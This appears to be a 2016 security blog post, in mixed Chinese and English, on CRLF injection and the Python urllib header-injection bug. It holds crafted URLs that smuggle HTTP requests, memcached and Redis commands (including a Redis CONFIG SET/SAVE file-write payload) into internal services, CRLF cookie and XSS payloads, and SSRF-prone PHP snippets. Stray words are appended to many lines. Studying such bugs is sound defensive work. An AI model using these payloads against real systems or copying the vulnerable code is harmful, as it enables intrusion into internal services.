cataloguephp
1. Overview 2. The urllib Bug 3. Attack Scenarios 4. 其餘場景 5. 防禦/緩解手段
1. Overviewhtml
Python's built-in URL library ("urllib2" in 2.x and "urllib" in 3.x) is vulnerable to protocol stream injection attacks (a.k.a. "smuggling" attacks) via the http scheme. If an attacker could convince a Python application using this library to fetch an arbitrary URL, or fetch a resource from a malicious web server, then these injections could allow for a great deal of access to certain internal services.
相似於crlf注入,python的urllib2/3的這個漏洞的本質在於HTTP協議是一個7層的弱格式協議,而庫自己又未對輸入源進行敏感字符過濾,致使注入的發生python
0x1: CRLF Injectionios
CRLF是"回車 + 換行"(\r\n)的簡稱。在HTTP協議中,HTTP Header與HTTP Body是用兩個CRLF分隔的,瀏覽器就是根據這兩個CRLF來取出HTTP 內容並顯示出來。因此,一旦咱們可以控制HTTP 消息頭中的字符,注入一些惡意的換行,這樣咱們就能注入一些會話Cookie或者HTML代碼,因此CRLF Injection又叫HTTP Response Splitting,簡稱HRS web
0x2: CRLF Injection實例redis
1. 注入302跳轉 json
一個正常的302跳轉包是這樣瀏覽器
HTTP/1.1 302 Moved Temporarily Date: Fri, 27 Jun 2014 17:52:17 GMT Content-Type: text/html Content-Length: 154 Connection: close Location: http://www.sina.com.cn
注入cookie
http://www.sina.com.cn%0aSet-cookie:JSPSESSID%3Dwooyun
注入了一個換行,此時的返回包就會變成這樣app
HTTP/1.1 302 Moved Temporarily Date: Fri, 27 Jun 2014 17:52:17 GMT Content-Type: text/html Content-Length: 154 Connection: close Location: http://www.sina.com.cn Set-cookie: JSPSESSID=wooyun
這樣就給訪問者設置了一個SESSION,形成一個"會話固定漏洞"
2. 注入XSS
http://www.sina.com.cn0d%0a%0d%0a<img src=1 onerror=alert(/xss/)>
返回包
HTTP/1.1 302 Moved Temporarily Date: Fri, 27 Jun 2014 17:52:17 GMT Content-Type: text/html Content-Length: 154 Connection: close
<img src=1 onerror=alert(/xss/)>
瀏覽器會根據第一個CRLF把HTTP包分紅頭和體,而後將體顯示出來。因而這裏這個標籤就會顯示出來,形成一個XSS
3. 注入多個(multi)HTTP請求包
經過在換行回車後再注入一個新的HTTP(甚至能夠是gopher協議)包,讓url解析方發出多個HTTP請求
Relevant Link:
http://drops.wooyun.org/papers/2466
2. The urllib Bug
The HTTP scheme handler accepts percent-encoded values as part of the host component, decodes these, and includes them in the HTTP stream without validation or further encoding. This allows newline injections
#!/usr/bin/env python3 import sys import urllib import urllib.error import urllib.request url = sys.argv[1] try: info = urllib.request.urlopen(url).info() print(info) except urllib.error.URLError as e: print(e)
This script simply accepts a URL in a command line argument and attempts to fetch it.
./fetch.py http://114.215.190.203:12345/foo
malicious hostname inject
./fetch.py http://114.215.190.203%0d%0aX-injected:%20header%0d%0ax-leftover:%20:12345/foo
Here the attacker can fully control a new injected HTTP header.
The attack also works with DNS host names, though a NUL byte must be inserted to satisfy the DNS resolver. For instance, this URL will fail to lookup the appropriate hostname
3. Attack Scenarios
0x1: HTTP Header Injection and Request Smuggling
if an ordinary HTTP request sent by urllib looks like this
GET /foo HTTP/1.1 Accept-Encoding: identity User-Agent: Python-urllib/3.4 Host: 127.0.0.1 Connection: close
Then an attacker could inject a whole extra HTTP request into the stream with URLS like
./fetch.py http://114.215.190.203%0d%0aConnection%3a%20Keep-Alive%0d%0a%0d%0aPOST%20%2fbar%20HTTP%2f1.1%0d%0aHost%3a%20127.0.0.1%0d%0aContent-Length%3a%2031%0d%0a%0d%0a%7b%22new%22%3a%22json%22%2c%22content%22%3a%22here%22%7d%0d%0a:12345/foo
0x2: Attacking memcached
相似於經過SSRF注入memcache,http header injection一樣能夠劫持server端,向內網的redis、memcache應用發起TCP請求,實現內網滲透的效果
In our case, if we could fool an internal Python application into fetching a URL for us, then we could easily access memcached instances. Consider the URL
./fetch.py http://114.215.190.203%0d%0aset%20foo%200%200%205%0d%0aABCDE%0d%0a:12345/foo
the above lines in light of memcached protocol syntax, most of the above syntax errors. However, memcached does not close the connection upon receiving bad commands. This allows attackers to inject commands anywhere in the request and have them honored. The above request produced the following response from memcached (which was configured with default settings from the Debian Linux package):
ERROR
ERROR
ERROR
ERROR
ERROR
STORED
ERROR
ERROR
0x3: Attacking Redis
./fetch.py http://114.215.190.203%0d%0aCONFIG%20SET%20dir%20%2ftmp%0d%0aCONFIG%20SET%20dbfilename%20evil%0d%0aSET%20foo%20bar%0d%0aSAVE%0d%0a:6379/foo
Relevant Link:
http://blog.blindspotsecurity.com/2016/06/advisory-http-header-injection-in.html
4. 其餘場景
0x1: PHP URL解析庫
1. CURL
<?php if (isset($_GET['url'])) { $link = $_GET['url']; $curlobj = curl_init(); curl_setopt($curlobj, CURLOPT_POST, 0); curl_setopt($curlobj,CURLOPT_URL,$link); curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1); $result=curl_exec($curlobj); curl_close($curlobj); echo $result; } ?>
2. file_get_contents
<?php $url = $_GET['url']; $content = file_get_contents($url); echo $content; ?>
3. fsocket
PHP的URL解析相關庫在發起URL遠程請求前,會對參數進行敏感字符過濾
5. 防禦/緩解手段
PHP header()函數中提到了:
從 PHP 4.4 以後,該函數防止一次發送多個報頭。這是對頭部注入攻擊的保護措施
Relevant Link:
http://php.net/manual/en/function.header.php
Copyright (c) 2016 LittleHann All rights reserved